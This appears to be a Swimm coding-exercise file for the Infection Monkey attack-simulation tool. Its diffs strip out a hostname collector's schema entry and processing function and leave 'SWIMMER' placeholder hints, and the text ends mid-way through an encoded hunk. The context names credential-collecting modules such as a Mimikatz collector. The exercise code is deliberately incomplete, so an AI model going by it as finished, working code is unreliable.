JTIyYSUyMiUzQTQyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIySG9zdG5hbWUlMjBjb2xsZWN0b3IlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJpbmZvJTVDJTIyJTNBJTIwJTVDJTIyQ29sbGVjdHMlMjBtYWNoaW5lJ3MlMjBob3N0bmFtZS4lNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJhdHRhY2tfdGVjaG5pcXVlcyU1QyUyMiUzQSUyMCU1QiU1QyUyMlQxMDgyJTVDJTIyJTJDJTIwJTVDJTIyVDEwMTYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFNXSU1NRVIlM0ElMjBDb2xsZWN0b3IlMjBjb25maWclMjBnb2VzJTIwaGVyZS4lMjBUaXAlM0ElMjBIb3N0bmFtZSUyMGNvbGxlY3Rpb24lMjByZWxhdGVzJTIwdG8lMjB0aGUlMjBUMTA4MiUyMGFuZCUyMFQxMDE2JTIwdGVjaG5pcXVlcy4lMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0EzOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQ5JTJDJTIyYiUyMiUzQTQwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMnN0cmluZyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZW51bSU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUxJTJDJTIyYiUyMiUzQTQyJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMzclMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMzYlMkMlMjJsaW5lc0NvdW50JTIyJTNBNyU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\nindex 174133f4..de961fbd 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,7 +1,6 @@", + " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", + " AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + "- HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR)", + " " + ] + }, + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -40,16 +39,7 @@", + " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", + " \"attack_techniques\": [\"T1082\"]", + " },", + "- {", + "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", + "- \"type\": \"string\",", + "- \"enum\": [", + "- HOSTNAME_COLLECTOR", + "- ],", + "- \"title\": \"Hostname collector\",", + "- \"safe\": True,", + "- \"info\": \"Collects machine's hostname.\",", + "- \"attack_techniques\": [\"T1082\", \"T1016\"]", + "- },", + " {", + " \"type\": \"string\",", + " \"enum\": [" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/monkey.py": { - "index": [ - "b47d6a15..1b1962a4", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/monkey.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/monkey.py", - "status": "MODIFIED", - "numLineDeletions": 2, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNyUyMCUyQjElMkM2JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwKEFXU19DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBWlVSRV9DUkVEX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC04OCUyQzclMjAlMkI4NyUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVmYXVsdCU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTg4JTJDJTIyYiUyMiUzQTg3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwRU5WSVJPTk1FTlRfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBODklMkMlMjJiJTIyJTNBODglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTAlMkMlMjJiJTIyJTNBODklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTIlMkMlMjJiJTIyJTNBOTAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBNSU1JS0FUWl9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5MyUyQyUyMmIlMjIlM0E5MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEFaVVJFX0NSRURfQ09MTEVDVE9SJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOTQlMkMlMjJiJTIyJTNBOTIlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E4OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTg3JTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py\nindex b47d6a15..1b1962a4 100644\n--- a/monkey/monkey_island/cc/services/config_schema/monkey.py\n+++ b/monkey/monkey_island/cc/services/config_schema/monkey.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,7 +1,6 @@", + " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", + " AZURE_CRED_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + "- HOSTNAME_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " PROCESS_LIST_COLLECTOR)", + " " + ] + }, + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -88,7 +87,6 @@", + " \"default\": [", + " ENVIRONMENT_COLLECTOR,", + " AWS_COLLECTOR,", + "- HOSTNAME_COLLECTOR,", + " PROCESS_LIST_COLLECTOR,", + " MIMIKATZ_COLLECTOR,", + " AZURE_CRED_COLLECTOR" + ] + } ] }, "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": { - "index": [ - "e2de4519..04bc3556", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", - "fileB": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", - "status": "MODIFIED", - "numLineDeletions": 3, - "numLineAdditions": 3, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGltcG9ydCUyMGxvZ2dpbmclMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMG1vbmtleV9pc2xhbmQuY2MubW9kZWxzLm1vbmtleSUyMGltcG9ydCUyME1vbmtleSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTV0lNTUVSJTNBJTIwVGhpcyUyMHdpbGwlMjBiZSUyMHVzZWZ1bCUyMCUzQSklMjBtb25rZXlfaXNsYW5kLmNjLm1vZGVscy5tb25rZXkuTW9ua2V5JTIwaGFzJTIwdGhlJTIwdXNlZnVsJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMyUyMCU1QyUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlNUMlMjIlMjBhbmQlMjAlNUMlMjJzZXRfaG9zdG5hbWUlNUMlMjIlMjBtZXRob2RzLiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBsb2dnZXIlMjAlM0QlMjBsb2dnaW5nLmdldExvZ2dlcihfX25hbWVfXyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZGVmJTIwcHJvY2Vzc19ob3N0bmFtZV90ZWxlbWV0cnkoY29sbGVjdG9yX3Jlc3VsdHMlMkMlMjBtb25rZXlfZ3VpZCklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyME1vbmtleS5nZXRfc2luZ2xlX21vbmtleV9ieV9ndWlkKG1vbmtleV9ndWlkKS5zZXRfaG9zdG5hbWUoY29sbGVjdG9yX3Jlc3VsdHMlNUIlNUMlMjJob3N0bmFtZSU1QyUyMiU1RCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTklN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTklN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E5JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\nindex e2de4519..04bc3556 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -1,9 +1,9 @@", + " import logging", + " ", + "-from monkey_island.cc.models.monkey import Monkey", + "+# SWIMMER: This will be useful :) monkey_island.cc.models.monkey.Monkey has the useful", + "+# \"get_single_monkey_by_guid\" and \"set_hostname\" methods.", + " ", + " logger = logging.getLogger(__name__)", + " ", + " ", + "-def process_hostname_telemetry(collector_results, monkey_guid):", + "+# SWIMMER: Processing function goes here.", + "- Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results[\"hostname\"])" + ] + } ] }, "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": { - "index": [ - "639a392c..7aa6d3a6", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", - "fileB": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", - "status": "MODIFIED", - "numLineDeletions": 4, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmF3cyU